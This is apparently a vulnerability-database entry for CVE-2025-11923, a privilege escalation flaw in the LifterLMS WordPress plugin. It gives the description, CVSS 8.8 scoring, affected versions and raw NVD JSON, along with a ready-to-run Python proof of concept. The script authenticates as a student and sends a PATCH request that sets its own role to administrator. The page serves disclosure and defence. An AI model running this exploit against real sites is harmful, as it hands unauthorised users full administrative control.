Security Vulnerability Report
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CVE-2025-11923 CVSS 8.8 HIGH

CVE-2025-11923

Published: 2025-11-13 04:15:45
Last Modified: 2026-04-15 00:35:42

Description

The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to privilege escalation. This is due to the plugin not properly validating a user's identity prior to allowing them to modify their own role via the REST API. The permission check in the update_item_permissions_check() function returns true when a user updates their own account without verifying the role changes. This makes it possible for authenticated attackers, with student-level access and above, to escalate their privileges to administrator by updating their own roles array via a crafted REST API request. Another endpoint intended for instructors also provides an attack vector. Affected version ranges are 3.5.3-3.41.2, 4.0.0-4.21.3, 5.0.0-5.10.0, 6.0.0-6.11.0, 7.0.0-7.8.7, 8.0.0-8.0.7, 9.0.0-9.0.7, 9.1.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

LifterLMS 3.5.3 - 3.41.2
LifterLMS 4.0.0 - 4.21.3
LifterLMS 5.0.0 - 5.10.0
LifterLMS 6.0.0 - 6.11.0
LifterLMS 7.0.0 - 7.8.7
LifterLMS 8.0.0 - 8.0.7
LifterLMS 9.0.0 - 9.0.7
LifterLMS 9.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-11923 PoC - LifterLMS Privilege Escalation # Target: WordPress site with LifterLMS plugin TARGET_URL = "http://target-wordpress-site.com" USERNAME = "student_user" PASSWORD = "student_password" def exploit_privilege_escalation(): """ This PoC demonstrates privilege escalation in LifterLMS plugin. An authenticated user with student role can escalate to administrator. """ session = requests.Session() # Step 1: Authenticate and get JWT token auth_url = f"{TARGET_URL}/wp-json/jwt-auth/v1/token" auth_data = { "username": USERNAME, "password": PASSWORD } auth_response = session.post(auth_url, json=auth_data) if auth_response.status_code != 200: print("[-] Authentication failed") return False token = auth_response.json().get("token") headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Step 2: Get current user info to find user ID user_url = f"{TARGET_URL}/wp-json/llms/v1/students/me" user_response = session.get(user_url, headers=headers) user_id = user_response.json().get("id") # Step 3: Exploit - Update user role to administrator # This is the core of CVE-2025-11923 update_url = f"{TARGET_URL}/wp-json/llms/v1/students/{user_id}" exploit_payload = { "roles": ["administrator"] # Privilege escalation payload } update_response = session.patch(update_url, headers=headers, json=exploit_payload) if update_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] User is now an administrator") return True else: print(f"[-] Exploit failed: {update_response.status_code}") return False if __name__ == "__main__": exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11923", "sourceIdentifier": "[email protected]", "published": "2025-11-13T04:15:44.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to privilege escalation. This is due to the plugin not properly validating a user's identity prior to allowing them to modify their own role via the REST API. The permission check in the update_item_permissions_check() function returns true when a user updates their own account without verifying the role changes. This makes it possible for authenticated attackers, with student-level access and above, to escalate their privileges to administrator by updating their own roles array via a crafted REST API request. Another endpoint intended for instructors also provides an attack vector. Affected version ranges are 3.5.3-3.41.2, 4.0.0-4.21.3, 5.0.0-5.10.0, 6.0.0-6.11.0, 7.0.0-7.8.7, 8.0.0-8.0.7, 9.0.0-9.0.7, 9.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/lifterlms/trunk/libraries/lifterlms-rest/includes/abstracts/class-llms-rest-users-controller.php#L721", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lifterlms/trunk/libraries/lifterlms-rest/includes/server/class-llms-rest-students-controller.php#L386", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3393703%40lifterlms%2Ftrunk&old=3388956%40lifterlms%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cc13d13c-6b79-4bf1-8e77-c8cb836dc0c5?source=cve", "source": "[email protected]"}]}}